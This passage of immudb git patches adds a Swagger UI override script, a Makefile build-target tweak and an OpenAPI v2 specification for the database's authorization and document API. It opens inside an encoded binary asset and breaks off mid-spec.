z>x>hHC&CO%&(B@Ja+E~$1rm8;-jU6CF+yx*25&z?7 zqj!#}hoIz5XzVo>mRmCpKFytUwn(5u6heQXBQ!r000j!NklI{5wO$3hRp0A`xcc35VKFkqDv@>-k6Y z^QNZ?2#$%Xr4Hde$X(PGhzH}s4v+}D@N7ULXtytXN`7uzNr3PZ3raMEt+KGhl8LXToqg)wCo<$w)<3Qs!$0TE%oam%{)5bDwqv7!245h@HUhwaGP( z-8<{a?z^ki$~9r@n0xEW+Cv;Y519CNL5+DBIr&v;!8Qj(zmIU0i0;|&;bY)!VHwz< zkxuED>H^`Ixchn;CK?k+zeTCG|3O^dY>|kc-B#Pd;?_LuCJkG=y6pwhBat2uL$nuc{nZ+h;N| zG0y^j5243xo+lOx9z8#No=?TM*5w8chub^|!*s(y;8EcJwbP90suFV-D=fLzK0x5^ zRt}>k#y-Wm6YDA-x;L)+G)lCcgS^ebN$D`OnNq|gzq#2g5q}?BdSOD>RLkcmo$@gE z1fsmOX*@^?Qel0?*Uz3@)K@S%A|AfnMI0Fevp~RAVk0VXt1U-BFZSV%r9Wc#egD{3 zt7M}IW2rXddu7}Rner;oz^{sdRB($$dGFch&%=E-b@x5o?a~wf99kau0R!; zGz)#w45myQ39B#X-McWsQi>Qg5jz1DYXn06>X}jJr@Ji?nI5^R;l`g^)f$y|2Op3~ z^NaF;k`i+ad9!tcG00DDo^f|ZooAZi2vb^*6PD%ZQdFZ>TLKbcBXV5MP2}hxww_}& zwmxy9(38z5IztP8!f73G<4r`WN2eLwB`7u{IF1|_a}#*o13C!72ngKzL?V9eJ3x5s zW*iYQYB51oR#98lZX#&7iAyk{A;ka%v3W_^*w%RL9XM3xot|%#luYX}`D4-q!nq07 zjvSW=9c92E2Qg5@o|k5nQ3!}g#;MBIB3P9l@uC$utT%sCCUU4rrG`O@K?>p=5eS68 z^adi*^JPa=l}DP@{+LD>IvQ@`Etvow!Z4$N(J5K}dg=qhJMXNBkb2DCgk(LXaS5RV zm}t0(w_?KaU^5H~82tsRPqXvRgN`^)gcA|{J}Z(LhK}?tH74i>-~j{#If(WG?!>1q z5wHpBn|B^^jk7~dQAG4F1QZRCiDu}40`rnkV15ylJdl7mE>Qh@>OJGvZAmerUlOk+KSh;g0`x@OWC9e$ zY)_G+dx+Bv^#k$HOGI~8KHShZRem#Z_WA@A5#o%ekt|X#MRCjoc#6qXI2^2eFfyWe zF`RtmDp@l2d*$oP73ffXm5@ zSt8PNbA`^29KhD9NLfdbrQtCY;41>aViXriZfSt0fO(+Gq6-c%c*pgbvvhvB!L?Or}j zJkB>@Lh&FyEh5g;IY3xi6riGAWOx~U#JF)8W7ixQfCiW@4gU~079h1KaX|GzIGkEO zc67VWXLX)Rd2;x%JUc;IS{_8rLnb0=jQyJZYQ%sF*sTnQxoA2M8)`Jr zpinyy4*sbIw#cw~$J?N-Zg5H+#0+ur8U_#$SjKidSU56FH#ttAu~gVJ!DN+G3_EDJ zufkh61Tb>4^~Xr#ZOQr;zX*)uiw-GgL9pNJV}1Z9H<#asP(jtU`N|2BdF zDphbagC7MvTs@JELc+??u^ww1k*3`1%rms4GEPyhM@d>CVF(6OL`M z$`n}n3IENK0FdBVD_UZIVOj5L%&J|tf7Vt19iLFF91;;uK!`Iu9FBS-7kHqrCZqf; zC04g+ac2ul-@{uc)Ih(G03ZfLgbNrftK-Gar02SKn@2ZY+;A7h(q_d%!g5~i`dCN= z-T4u2J7X|l)B?is;C1%1Jl2Wlfdnn;@Zo(=Kg{VkVa@Foxb2S1Zr z0%B2NId?PTC>SZ3wvkBSa7KT73Tp<8OhqQ0c9#=lTDBjHvPN?5W-3b7csch@tldK zlx8eSgzGH0{JY6(ASA~FTFD$Bs4}&njJOsMDsmBnW%0a-Q64fUAeNF5R|TRl5HW(8 z1CIr%%4KE5Re*34={QD=VAkP(Qk4r=Bd!QU%rVDElX*aph*(xeTqDaUJ%oTenC1d; za#9VMzl^v-9ir3_fmlF7oSjrd=2;}VLZwo$1%VhbsfNsli0hQD0f=-VAV@?kEAg%Z zM21<04i^C8mVj7xdDs;gj5uZ)2*m8+l#)tQ%Mx*gY*)bz8rDO^3jl$WYDh$U@Z1JO zL}9XJfS}InkFQ%$L}X?WAV@^4AlX$QBD7gRRFa5TiHkrHk%kKZK_X%eE&}q5!sw-d zAQADw%@r%PRh2XMGDt+MCDBmmA{Hq`kce1A(2(FFmWmnFi@ye4DT^OPMk0c&3>pGz z5eDwvN^WU?i|j^%t}OBeTm+7ZpeC7*A2gKs@gqxvF_%7$Xp$iyRuMD`kd--!2(l{E zfXU{XLZCKZHb^XV=X=c>QnQA2JL37 ziwMSwBAqpRjCM0tmVDY&W8RhqjVD}J@~QZbcvc0Q?nzi#@`*&G(?f=!%GCPG5pghG zM$kP8L<9jrM4ZSn2nZsgbNLnlu|^{D$#n=4mFvtt^NB4}REJn05ll=XBH>I?>3WT3 zf6j{{)suERX>)6pM98QpeD8h6OQq>Dwv`eAyWyT2U6ggMnh5Ba@!Je9FNG%{R-0^q zv`l;>2Jx_3gCkuYC8`82T#y9B%ELx6mI&)0AjhDHv1+qxT!f>-hUEbr1mzej4;v!N z#@rI0xD-Rsof%tj68gN8C<6v5h)p;N#m}Acb3Blu+)4t)hB!Ku;16+Y1~KPvbZY(p00R zL8`5Lh^%{{Hi&Ho4!ih9hcQ?fhZYB+B61I#_7XPbVBBQZKV;w>A|(Z>hmE@l!IT9- z!3P^G2nRC2K!5=agaa8u0hfIf4P<0wWMpJyWMpJyWMpJyWMpJyWMuEd?#~&$MOy)2 zU)n4D!VmlXedG6Q{fIMSWPKcz>yOL3Z@PhfzjxTTA1PURZSXkd-4%v??FbOkRT87j&qF*)9^|uD3v2B&+tkGi4Rt?e0>{_v9FP%clrZ@QKK;n z4%*pRB^q_@88`SN4Bm;x#sBW#e1`0000Swagger UI") +} diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js new file mode 100644 index 0000000000..7af3034200 --- /dev/null +++ b/swagger/swaggeroverrides.js @@ -0,0 +1,24 @@ +window.onload = function() { + // + + // the following lines will be replaced by docker/configurator, when it runs in a docker-container + window.ui = SwaggerUIBundle({ + urls: [ + {"url": "/api/docs/apidocs.swagger.json", "name": "immudb REST API v2: Authorization and Document API"}, + {"url": "/api/docs/schema.swagger.json", "name": "immudb REST API v1: KV and SQL API"} + ], + dom_id: '#swagger-ui', + deepLinking: true, + presets: [ + SwaggerUIBundle.presets.apis, + SwaggerUIStandalonePreset + ], + plugins: [ + SwaggerUIBundle.plugins.DownloadUrl + ], + layout: "StandaloneLayout" + }); + + // + }; + \ No newline at end of file From 27f2c532f72e1d668914011982fa73cf081e870a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 21 Sep 2023 14:34:01 +0200 Subject: [PATCH 0726/1062] feat(pkg/api): re-enable swagger ui Signed-off-by: Jeronimo Irazabal --- Makefile | 2 +- pkg/api/openapi/apidocs.swagger.json | 1639 ++++++++++++++++++++++++++ swagger/swagger.go | 2 +- swagger/swagger_default.go | 2 +- swagger/swagger_default_test.go | 2 +- 5 files changed, 1643 insertions(+), 4 deletions(-) create mode 100644 pkg/api/openapi/apidocs.swagger.json diff --git a/Makefile b/Makefile index 9e822ffb5a..415cdacc7d 100644 --- a/Makefile +++ b/Makefile @@ -97,7 +97,7 @@ immuadmin: $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb -immudb: build webconsole +immudb: webconsole swagger $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb .PHONY: immutest diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json new file mode 100644 index 0000000000..456291f66c --- /dev/null +++ b/pkg/api/openapi/apidocs.swagger.json @@ -0,0 +1,1639 @@ +{ + "swagger": "2.0", + "info": { + "title": "immudb REST API v2", + "description": "Authorization API", + "version": "version not set" + }, + "basePath": "/api/v2", + "consumes": [ + "application/json" + ], + "produces": [ + "application/json" + ], + "paths": { + "/authorization/session/close": { + "post": { + "operationId": "CloseSession", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelCloseSessionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelCloseSessionRequest" + } + } + ], + "tags": [ + "authorization" + ] + } + }, + "/authorization/session/keepalive": { + "post": { + "operationId": "KeepAlive", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelKeepAliveResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelKeepAliveRequest" + } + } + ], + "tags": [ + "authorization" + ] + } + }, + "/authorization/session/open": { + "post": { + "operationId": "OpenSession", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/immudbmodelOpenSessionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/immudbmodelOpenSessionRequest" + } + } + ], + "tags": [ + "authorization" + ], + "security": [] + } + }, + "/collection/documents/search": { + "post": { + "operationId": "SearchDocuments", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelSearchDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelSearchDocumentsRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/documents/searchWith/{searchId}": { + "post": { + "operationId": "SearchDocumentsWith", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelSearchDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "searchId", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelSearchDocumentsRequestWith" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/document/{documentId}/audit": { + "post": { + "operationId": "AuditDocument", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelAuditDocumentResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "documentId", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelAuditDocumentRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/document/{documentId}/proof": { + "post": { + "operationId": "ProofDocument", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelProofDocumentResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "documentId", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelProofDocumentRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/documents": { + "post": { + "operationId": "InsertDocuments", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelInsertDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelInsertDocumentsRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/index": { + "delete": { + "operationId": "DeleteIndex", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelDeleteIndexResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "fields", + "in": "query", + "required": false, + "type": "array", + "items": { + "type": "string" + }, + "collectionFormat": "multi" + } + ], + "tags": [ + "documents" + ] + }, + "post": { + "operationId": "CreateIndex", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelCreateIndexResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelCreateIndexRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{name}": { + "get": { + "operationId": "GetCollection", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelGetCollectionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "name", + "in": "path", + "required": true, + "type": "string" + } + ], + "tags": [ + "documents" + ] + }, + "delete": { + "operationId": "DeleteCollection", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelDeleteCollectionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "name", + "in": "path", + "required": true, + "type": "string" + } + ], + "tags": [ + "documents" + ] + }, + "post": { + "operationId": "CreateCollection", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelCreateCollectionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "name", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelCreateCollectionRequest" + } + } + ], + "tags": [ + "documents" + ] + }, + "put": { + "operationId": "UpdateCollection", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelUpdateCollectionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "name", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelUpdateCollectionRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/documents/count": { + "post": { + "operationId": "CountDocuments", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelCountDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelCountDocumentsRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/documents/delete": { + "post": { + "operationId": "DeleteDocuments", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelDeleteDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelDeleteDocumentsRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/documents/replace": { + "put": { + "operationId": "ReplaceDocuments", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelReplaceDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelReplaceDocumentsRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/documents/search": { + "post": { + "operationId": "SearchDocuments", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelSearchDocumentsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelSearchDocumentsRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collections": { + "get": { + "operationId": "GetCollections", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelGetCollectionsResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "tags": [ + "documents" + ] + } + } + }, + "definitions": { + "immudbmodelOpenSessionRequest": { + "type": "object", + "properties": { + "username": { + "type": "string" + }, + "password": { + "type": "string" + }, + "database": { + "type": "string" + } + } + }, + "immudbmodelOpenSessionResponse": { + "type": "object", + "properties": { + "sessionID": { + "type": "string" + }, + "serverUUID": { + "type": "string" + }, + "expirationTimestamp": { + "type": "integer", + "format": "int32" + }, + "inactivityTimestamp": { + "type": "integer", + "format": "int32" + } + } + }, + "modelAuditDocumentRequest": { + "type": "object", + "properties": { + "desc": { + "type": "boolean" + }, + "page": { + "type": "integer", + "format": "int64" + }, + "pageSize": { + "type": "integer", + "format": "int64" + } + }, + "required": [ + "collectionName", + "documentId", + "desc", + "page", + "pageSize" + ] + }, + "modelAuditDocumentResponse": { + "type": "object", + "properties": { + "revisions": { + "type": "array", + "items": { + "$ref": "#/definitions/modelDocumentAtRevision" + } + } + }, + "required": [ + "revisions" + ] + }, + "modelCloseSessionRequest": { + "type": "object" + }, + "modelCloseSessionResponse": { + "type": "object" + }, + "modelCollection": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "documentIdFieldName": { + "type": "string" + }, + "fields": { + "type": "array", + "items": { + "$ref": "#/definitions/modelField" + } + }, + "indexes": { + "type": "array", + "items": { + "$ref": "#/definitions/modelIndex" + } + } + }, + "required": [ + "name", + "documentIdFieldName", + "fields", + "indexes" + ] + }, + "modelComparisonOperator": { + "type": "string", + "enum": [ + "EQ", + "NE", + "LT", + "LE", + "GT", + "GE", + "LIKE", + "NOT_LIKE" + ], + "default": "EQ" + }, + "modelCountDocumentsRequest": { + "type": "object", + "properties": { + "query": { + "$ref": "#/definitions/modelQuery" + } + }, + "required": [ + "query" + ] + }, + "modelCountDocumentsResponse": { + "type": "object", + "properties": { + "count": { + "type": "string", + "format": "int64" + } + }, + "required": [ + "count" + ] + }, + "modelCreateCollectionRequest": { + "type": "object", + "properties": { + "documentIdFieldName": { + "type": "string" + }, + "fields": { + "type": "array", + "items": { + "$ref": "#/definitions/modelField" + } + }, + "indexes": { + "type": "array", + "items": { + "$ref": "#/definitions/modelIndex" + } + } + }, + "required": [ + "documentIdFieldName" + ] + }, + "modelCreateCollectionResponse": { + "type": "object" + }, + "modelCreateIndexRequest": { + "type": "object", + "properties": { + "fields": { + "type": "array", + "items": { + "type": "string" + } + }, + "isUnique": { + "type": "boolean" + } + }, + "required": [ + "fields", + "isUnique" + ] + }, + "modelCreateIndexResponse": { + "type": "object" + }, + "modelDeleteCollectionResponse": { + "type": "object" + }, + "modelDeleteDocumentsRequest": { + "type": "object", + "properties": { + "query": { + "$ref": "#/definitions/modelQuery" + } + }, + "required": [ + "query" + ] + }, + "modelDeleteDocumentsResponse": { + "type": "object" + }, + "modelDeleteIndexResponse": { + "type": "object" + }, + "modelDocumentAtRevision": { + "type": "object", + "properties": { + "transactionId": { + "type": "string", + "format": "uint64" + }, + "documentId": { + "type": "string" + }, + "revision": { + "type": "string", + "format": "uint64" + }, + "metadata": { + "$ref": "#/definitions/modelDocumentMetadata" + }, + "document": { + "type": "object" + } + }, + "required": [ + "transactionId", + "documentId", + "revision" + ] + }, + "modelDocumentMetadata": { + "type": "object", + "properties": { + "deleted": { + "type": "boolean" + } + }, + "required": [ + "deleted" + ] + }, + "modelField": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "type": { + "$ref": "#/definitions/modelFieldType" + } + }, + "required": [ + "name", + "type" + ] + }, + "modelFieldComparison": { + "type": "object", + "properties": { + "field": { + "type": "string" + }, + "operator": { + "$ref": "#/definitions/modelComparisonOperator" + }, + "value": {} + }, + "required": [ + "field", + "operator", + "value" + ] + }, + "modelFieldType": { + "type": "string", + "enum": [ + "STRING", + "BOOLEAN", + "INTEGER", + "DOUBLE" + ], + "default": "STRING" + }, + "modelGetCollectionResponse": { + "type": "object", + "properties": { + "collection": { + "$ref": "#/definitions/modelCollection" + } + }, + "required": [ + "collection" + ] + }, + "modelGetCollectionsResponse": { + "type": "object", + "properties": { + "collections": { + "type": "array", + "items": { + "$ref": "#/definitions/modelCollection" + } + } + }, + "required": [ + "collections" + ] + }, + "modelIndex": { + "type": "object", + "properties": { + "fields": { + "type": "array", + "items": { + "type": "string" + } + }, + "isUnique": { + "type": "boolean" + } + }, + "required": [ + "fields", + "isUnique" + ] + }, + "modelInsertDocumentsRequest": { + "type": "object", + "properties": { + "documents": { + "type": "array", + "items": { + "type": "object" + } + } + }, + "required": [ + "documents" + ] + }, + "modelInsertDocumentsResponse": { + "type": "object", + "properties": { + "transactionId": { + "type": "string", + "format": "uint64" + }, + "documentIds": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "required": [ + "transactionId", + "documentIds" + ] + }, + "modelKeepAliveRequest": { + "type": "object" + }, + "modelKeepAliveResponse": { + "type": "object" + }, + "modelOrderByClause": { + "type": "object", + "properties": { + "field": { + "type": "string" + }, + "desc": { + "type": "boolean" + } + }, + "required": [ + "field", + "desc" + ] + }, + "modelProofDocumentRequest": { + "type": "object", + "properties": { + "transactionId": { + "type": "string", + "format": "uint64" + }, + "proofSinceTransactionId": { + "type": "string", + "format": "uint64" + } + }, + "required": [ + "collectionName", + "documentId", + "transactionId", + "proofSinceTransactionId" + ] + }, + "modelProofDocumentResponse": { + "type": "object", + "properties": { + "database": { + "type": "string" + }, + "collectionId": { + "type": "integer", + "format": "int64" + }, + "documentIdFieldName": { + "type": "string" + }, + "encodedDocument": { + "type": "string", + "format": "byte" + }, + "verifiableTx": { + "$ref": "#/definitions/schemaVerifiableTxV2" + } + }, + "required": [ + "database", + "collectionId", + "documentIdFieldName", + "encodedDocument", + "verifiableTx" + ] + }, + "modelQuery": { + "type": "object", + "properties": { + "expressions": { + "type": "array", + "items": { + "$ref": "#/definitions/modelQueryExpression" + } + }, + "orderBy": { + "type": "array", + "items": { + "$ref": "#/definitions/modelOrderByClause" + } + }, + "limit": { + "type": "integer", + "format": "int64" + } + }, + "required": [ + "expressions", + "orderBy", + "limit" + ] + }, + "modelQueryExpression": { + "type": "object", + "properties": { + "fieldComparisons": { + "type": "array", + "items": { + "$ref": "#/definitions/modelFieldComparison" + } + } + }, + "required": [ + "fieldComparisons" + ] + }, + "modelReplaceDocumentsRequest": { + "type": "object", + "properties": { + "query": { + "$ref": "#/definitions/modelQuery" + }, + "document": { + "type": "object" + } + }, + "required": [ + "query", + "document" + ] + }, + "modelReplaceDocumentsResponse": { + "type": "object", + "properties": { + "revisions": { + "type": "array", + "items": { + "$ref": "#/definitions/modelDocumentAtRevision" + } + } + }, + "required": [ + "revisions" + ] + }, + "modelSearchDocumentsRequest": { + "type": "object", + "properties": { + "query": { + "$ref": "#/definitions/modelQuery" + }, + "page": { + "type": "integer", + "format": "int64" + }, + "pageSize": { + "type": "integer", + "format": "int64" + }, + "keepOpen": { + "type": "boolean" + } + }, + "required": [ + "query", + "page", + "pageSize", + "keepOpen" + ] + }, + "modelSearchDocumentsRequestWith": { + "type": "object", + "properties": { + "searchId": { + "type": "string" + }, + "query": { + "$ref": "#/definitions/modelQuery" + }, + "page": { + "type": "integer", + "format": "int64" + }, + "pageSize": { + "type": "integer", + "format": "int64" + }, + "keepOpen": { + "type": "boolean" + } + }, + "required": [ + "searchId", + "query", + "page", + "pageSize", + "keepOpen" + ] + }, + "modelSearchDocumentsResponse": { + "type": "object", + "properties": { + "searchId": { + "type": "string" + }, + "revisions": { + "type": "array", + "items": { + "$ref": "#/definitions/modelDocumentAtRevision" + } + } + }, + "required": [ + "searchId", + "revisions" + ] + }, + "modelUpdateCollectionRequest": { + "type": "object", + "properties": { + "documentIdFieldName": { + "type": "string" + } + }, + "required": [ + "documentIdFieldName" + ] + }, + "modelUpdateCollectionResponse": { + "type": "object" + }, + "protobufAny": { + "type": "object", + "properties": { + "type_url": { + "type": "string", + "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." + }, + "value": { + "type": "string", + "format": "byte", + "description": "Must be a valid serialized protocol buffer of the above specified type." + } + }, + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + }, + "protobufNullValue": { + "type": "string", + "enum": [ + "NULL_VALUE" + ], + "default": "NULL_VALUE", + "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." + }, + "runtimeError": { + "type": "object", + "properties": { + "error": { + "type": "string" + }, + "code": { + "type": "integer", + "format": "int32" + }, + "message": { + "type": "string" + }, + "details": { + "type": "array", + "items": { + "$ref": "#/definitions/protobufAny" + } + } + } + }, + "schemaDualProofV2": { + "type": "object", + "properties": { + "sourceTxHeader": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Header of the source (earlier) transaction" + }, + "targetTxHeader": { + "$ref": "#/definitions/schemaTxHeader", + "title": "Header of the target (latter) transaction" + }, + "inclusionProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Inclusion proof of the source transaction hash in the main Merkle Tree" + }, + "consistencyProof": { + "type": "array", + "items": { + "type": "string", + "format": "byte" + }, + "title": "Consistency proof between Merkle Trees in the source and target transactions" + } + }, + "title": "DualProofV2 contains inclusion and consistency proofs" + }, + "schemaEntry": { + "type": "object", + "properties": { + "tx": { + "type": "string", + "format": "uint64", + "title": "Transaction id at which the target value was set (i.e. not the reference transaction id)" + }, + "key": { + "type": "string", + 